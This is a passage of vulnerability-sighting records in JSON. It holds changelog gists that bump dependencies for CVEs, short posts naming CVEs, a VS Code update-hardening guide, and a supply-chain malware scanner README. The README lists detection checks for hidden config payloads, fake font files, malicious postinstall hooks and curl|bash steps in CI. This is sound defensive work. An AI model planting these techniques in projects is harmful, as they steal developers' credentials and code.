ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n \n- **Misc**\n    - *fix(dac7): divide Stripe amounts by 100 and fix exclusion threshold* [\\#7408](https://github.com/Wishibam/Marketplace-api/pull/7408)\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)\n    - *:bug: fix: corriger le cast uuid invalide des corners \u00e0 l'import* [\\#7510](https://github.com/Wishibam/Marketplace-api/pull/7510)\n    - *fix(deploy): phpstan xml importer error* [\\#7523](https://github.com/Wishibam/Marketplace-api/pull/7523)", "creation_timestamp": "2026-06-03T13:50:04.000000Z"}, {"uuid": "51078f5c-d228-4fbb-9957-b9b4db89eafd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/212137322222a84b4c52e1e190ffb7d3", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [rapport d'erreur : Afficher le nom de l\u2019option au lieu de l\u2019ID](https://trello.com/c/DV326eEx/2331-rapport-derreur-afficher-le-nom-de-loption-au-lieu-de-lid) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Rework error logs to show attribute name instead of id to be easier t\u2026* [\\#7355](https://github.com/Wishibam/Marketplace-api/pull/7355)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd73Testing**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n    - [FEAT-0010 \u2014 Num\u00e9ro de ticket de caisse pour boutiques (TVO)](https://trello.com/c/VJAm3Q9E/2343-feat-0010-num%C3%A9ro-de-ticket-de-caisse-pour-boutiques-tvo) **\u2600\ufe0fIn review**\n        - *Add retailer receipt on order, and add it to search* [\\#7505](https://github.com/Wishibam/Marketplace-api/pull/7505)\n    - [FEAT-0007-02 \u2014 Nouveau template de facture PDF](https://trello.com/c/n8qXmV8Y/2339-feat-0007-02-nouveau-template-de-facture-pdf) **\ud83e\udd73Testing**\n        - *Fix recette for invoice rework* [\\#7524](https://github.com/Wishibam/Marketplace-api/pull/7524)\n \n- **Misc**\n    - *Fix issue with DPD not being Predict type* [\\#7509](https://github.com/Wishibam/Marketplace-api/pull/7509)\n    - *Fix issue with shipment invoice documents* [\\#7522](https://github.com/Wishibam/Marketplace-api/pull/7522)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [Import XML et memory](https://trello.com/c/9xNKSWlG/2248-import-xml-et-memory) **\ud83d\ude80Testing BACK / FLUX**\n        - *fix(importer): xml stream* [\\#7393](https://github.com/Wishibam/Marketplace-api/pull/7393)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n \n- **Misc**\n    - *fix(dac7): divide Stripe amounts by 100 and fix exclusion threshold* [\\#7408](https://github.com/Wishibam/Marketplace-api/pull/7408)\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)\n    - *:bug: fix: corriger le cast uuid invalide des corners \u00e0 l'import* [\\#7510](https://github.com/Wishibam/Marketplace-api/pull/7510)\n    - *fix(deploy): phpstan xml importer error* [\\#7523](https://github.com/Wishibam/Marketplace-api/pull/7523)\n    - *:bug: fix: call ImageKit only once when resizing images* [\\#7525](https://github.com/Wishibam/Marketplace-api/pull/7525)", "creation_timestamp": "2026-06-03T14:45:20.000000Z"}, {"uuid": "5cff961a-8d9f-44b0-9b2a-d69b4c3c8d8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48587", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mnfgymbjrd2e", "content": "Django CVE-2026-6873, CVE-2026-7666, CVE-2026-8404, CVE-2026-35193, and CVE-2026-48587", "creation_timestamp": "2026-06-03T15:46:24.724203Z"}, {"uuid": "83334096-8082-4207-b6ff-3ea4f41d1621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/1cc83b6de65d6b33b2f033ec08aae9db", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [rapport d'erreur : Afficher le nom de l\u2019option au lieu de l\u2019ID](https://trello.com/c/DV326eEx/2331-rapport-derreur-afficher-le-nom-de-loption-au-lieu-de-lid) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Rework error logs to show attribute name instead of id to be easier t\u2026* [\\#7355](https://github.com/Wishibam/Marketplace-api/pull/7355)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd75 Retour de test**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n    - [FEAT-0010 \u2014 Num\u00e9ro de ticket de caisse pour boutiques (TVO)](https://trello.com/c/VJAm3Q9E/2343-feat-0010-num%C3%A9ro-de-ticket-de-caisse-pour-boutiques-tvo) **\u2600\ufe0fIn review**\n        - *Add retailer receipt on order, and add it to search* [\\#7505](https://github.com/Wishibam/Marketplace-api/pull/7505)\n    - [FEAT-0007-02 \u2014 Nouveau template de facture PDF](https://trello.com/c/n8qXmV8Y/2339-feat-0007-02-nouveau-template-de-facture-pdf) **\ud83e\udd75 Retour de test**\n        - *Fix recette for invoice rework* [\\#7524](https://github.com/Wishibam/Marketplace-api/pull/7524)\n \n- **Misc**\n    - *Fix issue with DPD not being Predict type* [\\#7509](https://github.com/Wishibam/Marketplace-api/pull/7509)\n    - *Fix issue with shipment invoice documents* [\\#7522](https://github.com/Wishibam/Marketplace-api/pull/7522)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [Import XML et memory](https://trello.com/c/9xNKSWlG/2248-import-xml-et-memory) **\ud83d\ude80Testing BACK / FLUX**\n        - *fix(importer): xml stream* [\\#7393](https://github.com/Wishibam/Marketplace-api/pull/7393)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n \n- **Misc**\n    - *fix(dac7): divide Stripe amounts by 100 and fix exclusion threshold* [\\#7408](https://github.com/Wishibam/Marketplace-api/pull/7408)\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)\n    - *:bug: fix: corriger le cast uuid invalide des corners \u00e0 l'import* [\\#7510](https://github.com/Wishibam/Marketplace-api/pull/7510)\n    - *fix(deploy): phpstan xml importer error* [\\#7523](https://github.com/Wishibam/Marketplace-api/pull/7523)\n    - *:bug: fix: call ImageKit only once when resizing images* [\\#7525](https://github.com/Wishibam/Marketplace-api/pull/7525)\n    - *fix(validator): increase max variation constraint limit* [\\#7526](https://github.com/Wishibam/Marketplace-api/pull/7526)\n    - *:bug: Fix DomainEventDispatcherInterface missing on DomainModel entities* [\\#7527](https://github.com/Wishibam/Marketplace-api/pull/7527)", "creation_timestamp": "2026-06-03T15:41:30.000000Z"}, {"uuid": "750d9cb0-5aa6-4bb8-b102-e0b3d37a9ef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48681", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mnfmujjvso2h", "content": "[OSSA-2026-018] Ironic: File overwrite on Ironic conductor via path traversal in ISO handling (CVE-2026-48681)", "creation_timestamp": "2026-06-03T17:24:59.398856Z"}, {"uuid": "48525441-9ad4-483f-b1ca-15ebdf73eaf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mnfvvevhki2y", "content": "CVE-2026-48095: 7-Zip NTFS Handler Heap Overflow", "creation_timestamp": "2026-06-03T20:06:32.034695Z"}, {"uuid": "8022ecd9-db2c-41e8-92e4-449d91ebbb1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "https://gist.github.com/SyniRon/cdda0394ff4794c6f9936a8dda204208", "content": "# Take control of VS Code updates (without going dark on them)\n\nAuto-updating extensions is a real supply-chain risk: a compromised publisher account or a malicious release can push code straight onto your machine the moment it's published, before anyone has had a chance to notice it's bad.\n\nThis isn't hypothetical. In **[CISA's May 2026 alert](https://www.cisa.gov/news-events/alerts/2026/05/28/supply-chain-compromises-impact-nx-console-and-github-repositories)**, a malicious build of the **Nx Console VS Code extension (v18.95.0, [CVE-2026-48027](https://www.cisa.gov/known-exploited-vulnerabilities-catalog))** was, in CISA's words, *\"distributed through VS Code's automatic update mechanism, meaning systems with Nx Console previously installed may have received the malicious build without developers taking any manual installation action.\"* It was used to exfiltrate internal GitHub repositories. Auto-update was the delivery vehicle.\n\nThe fix is **not** to bury your head and never update. That leaves you on known-vulnerable versions. The right posture is:\n\n> **Don't auto-install. Stay notified. Update deliberately, after a release has had a few days to be vetted.**\n\nThis gist sets VS Code up that way.\n\n## The threat model in one line\n\n- **The editor itself** (VS Code) is signed by Microsoft and ships security patches, so you generally *want* these, just on your terms, not mid-session.\n- **Extensions** are third-party code from the Marketplace. This is where the supply-chain risk lives. Auto-update here means \"run whatever a publisher uploaded, instantly.\" That's the setting to kill.\n\n---\n\n## TL;DR settings\n\nOpen `settings.json` (`Cmd/Ctrl+Shift+P` \u2192 **Preferences: Open User Settings (JSON)**):\n\n```jsonc\n{\n  // --- App: get notified on startup, but never silently install ---\n  \"update.mode\": \"start\",\n\n  // --- Extensions: the important one ---\n  \"extensions.autoUpdate\": false,       // never auto-install extension updates\n  \"extensions.autoCheckUpdates\": true,  // DO check + show the badge so you know they exist\n  \"extensions.showRecommendationsOnlyOnDemand\": false\n}\n```\n\nThe key combination is `autoUpdate: false` + `autoCheckUpdates: true`: nothing installs on its own, but you still see the \"update available\" badge and per-extension **Update** buttons. You decide when.\n\n---\n\n## App updates: notified, not forced\n\n`update.mode` controls the editor itself:\n\n| Value       | Behavior                                                                 | Good for |\n|-------------|--------------------------------------------------------------------------|----------|\n| `\"default\"` | Auto-checks in the background, downloads, prompts to restart.            | Most people |\n| `\"start\"`   | Checks **only on startup**, then notifies. No background nagging.        | **Recommended here** |\n| `\"manual\"`  | No checks at all; you must run *Check for Updates* yourself.             | Fully air-gapped habits |\n| `\"none\"`    | Disables updates entirely.                                               | Not recommended |\n\n`\"start\"` is the sweet spot: you learn an update exists when you open VS Code, but it never installs without you clicking **Restart to Update**. Because the editor is Microsoft-signed, it's reasonable to apply these fairly promptly, since they're often security fixes.\n\nManual check anytime: **Code \u2192 Check for Updates\u2026** (macOS) / **Help \u2192 Check for Updates\u2026** (Win/Linux).\n\n---\n\n## Extension updates: the part that matters\n\nTwo settings work together:\n\n- **`extensions.autoUpdate: false`**: extensions never update themselves. *This is the security control.*\n- **`extensions.autoCheckUpdates: true`**: VS Code still checks and flags outdated extensions, so you're not flying blind.\n\nResult: the Extensions icon shows an update badge, and each outdated extension gets an **Update** button, but **nothing runs until you click it.**\n\n### Same thing via the UI\n\n1. Open **Extensions** (`Cmd/Ctrl+Shift+X`).\n2. Click the **`...`** (Views and More Actions) menu at the top.\n3. Turn **Auto Update Extensions** off.\n\n### Pin critical extensions to a known-good version\n\nFor anything sensitive (linters, formatters, anything that runs on save, anything with broad filesystem/network access), lock the exact version:\n\n- Right-click the extension \u2192 **Install Another Version\u2026** \u2192 pick a version you trust.\n\nIt stays on that version even when an update appears, until you deliberately move it.\n\n---\n\n## A 30-second checklist before you click Update\n\nThis is where the actual safety comes from. When you see an update available:\n\n1. **Let it bake.** Don't update the moment a release drops. That's exactly when a poisoned build does its damage. CISA's floor for packages is *at least 3 hours*; for extensions you lose almost nothing by waiting days, which is plenty of time for a malicious release to be caught and pulled.\n2. **Check the changelog / release notes.** Unexplained version jumps or a vague \"bug fixes\" on a big version bump is a yellow flag.\n3. **Confirm the publisher is unchanged and verified.** A new or changed publisher on an established extension is a red flag; publisher-account compromise is a common vector.\n4. **Glance at the Marketplace page.** Recent reviews and the issue tracker often surface \"this update broke / looks sketchy\" fast.\n5. **Prefer batching.** Review and apply updates on a schedule (e.g. weekly), not reflexively per popup.\n\n> These mirror CISA's package-repo guidance from the same alert: **wait before pulling a new release, pin to trusted versions, and only install from sources you trust.**\n\n---\n\n## Verify it stuck\n\nReload the window (`Cmd/Ctrl+Shift+P` \u2192 **Developer: Reload Window**), reopen Settings, and confirm the values. You should still see update badges (that's intended), but nothing should install without your click.\n\n---\n\n### Quick reference\n\n```jsonc\n{\n  \"update.mode\": \"start\",               // notified on startup, manual install\n  \"extensions.autoUpdate\": false,       // no auto-install of extensions\n  \"extensions.autoCheckUpdates\": true   // but DO tell me updates exist\n}\n```\n", "creation_timestamp": "2026-06-03T21:32:05.000000Z"}, {"uuid": "d02969f5-992e-429c-ae22-f486c16497aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "https://gist.github.com/FedericoGarcia/803c3ac4e3d93b4042dcd135a43c5a4c", "content": "# Supply Chain Malware Scanner\n\nAutomated scanner for known supply chain malware targeting JavaScript/Node.js projects. Designed for team-wide compromise assessment \u2014 run it on every developer machine to triage quickly.\n\n**Read-only** \u2014 these scripts do not modify files, install packages, or change system state.\n**Safe** \u2014 credential/token values are never printed in the output. Only existence is reported.\n\n## Threats covered\n\n| Threat | Vector | Impact |\n|--------|--------|--------|\n| **PolinRider** (Lazarus/DPRK) | Malicious npm packages with `postinstall` hooks inject obfuscated code into JS config files | Credential theft, SSH keys, env vars, browser data, crypto wallets |\n| **InvisibleFerret** | Second-stage RAT deployed by PolinRider | Persistent remote access, full system compromise |\n| **Megalodon** | Compromised GitHub Actions workflows (5,500+ repos, May 2026) | CI/CD pipeline injection, secret exfiltration |\n| **Nx Console CVE-2026-48027** | Compromised VS Code extension v18.95.0 | Code execution via trusted extension |\n| **axios 1.14.1 / 0.30.4** | Compromised maintainer account (March 2026) | Backdoored HTTP client library |\n\n## What it checks (20 checks + optional deep scan)\n\n### Core IOCs (1-4) \u2014 direct compromise evidence\n1. Lock file (`/tmp/tmp7A863DD1.tmp`) \u2014 if present, the payload executed\n2. Credential dumps in `~/.npm/` \u2014 staging directory for exfiltrated data\n3. Active network connections to known C2 IPs\n4. InvisibleFerret RAT processes\n\n### Source code infection (5-10)\n5. Known malware signatures (obfuscated variable names, encoded strings)\n6. Suspiciously long lines in config files (payload hides after ~1300 spaces)\n7. Fake `.woff2` font files containing JavaScript\n8. Malicious npm packages in `package.json`\n9. VS Code `tasks.json` with C2 domain references\n10. Solana/blockchain C2 communication patterns\n\n### Supply chain (11-13)\n11. Compromised axios versions (1.14.1, 0.30.4)\n12. Nx Console extension CVE-2026-48027\n13. Suspicious `postinstall`/`preinstall` scripts\n\n### Propagation (14-15)\n14. `.bat` files used to rewrite git history silently\n15. Megalodon-style `curl|bash` patterns in GitHub Actions\n\n### Environment integrity (16-20)\n16. Git hooks \u2014 global `core.hooksPath` hijacking\n17. `.npmrc` auth tokens \u2014 existence count (values never printed)\n18. Global npm/pnpm packages inventory\n19. VS Code/Cursor extensions inventory\n20. Persistence mechanisms (LaunchAgents, cron, running processes)\n\n### Deep scan (optional, slow)\n- **macOS:** DNS queries and system log entries referencing C2 domains (last 7 days)\n- **Windows:** Security Event Log network and process creation events (requires Admin)\n\n## Usage\n\n### macOS / Linux\n\n```bash\nchmod +x scan-supply-chain.sh\n\n# Standard scan\n./scan-supply-chain.sh\n\n# With deep log analysis (adds 1-2 minutes on macOS)\n./scan-supply-chain.sh --deep\n\n# Custom source code directories\n./scan-supply-chain.sh --scan-dirs \"$HOME/work $HOME/personal\"\n\n# Or via environment variable\nSCAN_DIRS=\"$HOME/work $HOME/personal\" ./scan-supply-chain.sh\n```\n\n### Windows (PowerShell)\n\n```powershell\n# Standard scan\n.\\Scan-SupplyChain.ps1\n\n# With deep Event Log analysis (requires Admin)\n.\\Scan-SupplyChain.ps1 -Deep\n\n# Custom directories\n.\\Scan-SupplyChain.ps1 -ScanDirs \"C:\\code\", \"D:\\projects\"\n```\n\n**Note:** The `-Deep` flag on Windows reads the Security Event Log, which requires an elevated (Admin) PowerShell session.\n\n## Default scan directories\n\nThe scanner checks these directories if they exist:\n\n| macOS/Linux | Windows |\n|-------------|---------|\n| `~/git` | `%USERPROFILE%\\git` |\n| `~/projects` | `%USERPROFILE%\\projects` |\n| `~/dev` | `%USERPROFILE%\\dev` |\n| `~/code` | `%USERPROFILE%\\code` |\n| `~/repos` | `%USERPROFILE%\\repos` |\n| | `%USERPROFILE%\\source` |\n\nOverride with `--scan-dirs` (bash) or `-ScanDirs` (PowerShell) if your code lives elsewhere.\n\n## Reading results\n\n### Summary table\n\nThe script ends with a summary table:\n\n```\n #   Check                               Result\n --- ----------------------------------- ------\n   1 Lock file                           \u2705\n   2 Credential dumps                    \u2705\n   3 C2 connections                      \u2705\n   ...\n```\n\n### Severity levels\n\n| Icon | Meaning | Action |\n|------|---------|--------|\n| \u2705 | Clean | No action needed |\n| \u23ed\ufe0f | Skipped | Directory not found or tool not available |\n| \ud83d\udc40 | Informational | Review briefly for anything unexpected |\n| \u26a0\ufe0f | Suspicious | Needs manual verification \u2014 may be a false positive |\n| \ud83d\udd34 | Confirmed IOC | **Stop all work. Do not push. Report immediately.** |\n\n### If you get any \ud83d\udd34 finding\n\n1. **Do not push** to any repository\n2. **Do not delete** evidence files \u2014 they're needed for forensics\n3. **Report** to your security lead with the full script output\n4. **Rotate** all secrets: npm tokens, SSH keys, GitHub PATs, API keys, `.env` values\n5. **Check** browser saved passwords \u2014 InvisibleFerret steals them\n\n### If you only get \u26a0\ufe0f findings\n\nReview each one manually. Common false positives:\n- **Blockchain C2 patterns**: legitimate if the project uses Solana/Tron\n- **Long config lines**: some bundled configs legitimately have long lines \u2014 check if the length comes from trailing spaces (malware) or actual code\n- **postinstall scripts**: `node scripts/setup.js` is normal for many projects \u2014 verify the script content\n- **.npmrc tokens**: expected if you publish to private registries \u2014 but rotate them if any \ud83d\udd34 was found\n\n## Exit codes\n\n- `0` \u2014 no findings (clean)\n- `1` \u2014 one or more findings detected\n\n## Limitations\n\nThis scanner checks for **known IOCs** from specific campaigns. It does not:\n\n- Detect novel/zero-day supply chain attacks\n- Monitor runtime behavior or network traffic\n- Replace endpoint detection and response (EDR) tools\n- Scan compiled/minified bundles (only source and config files)\n- Verify git history integrity (use `git log --diff-filter=M -- '*.config.*'` 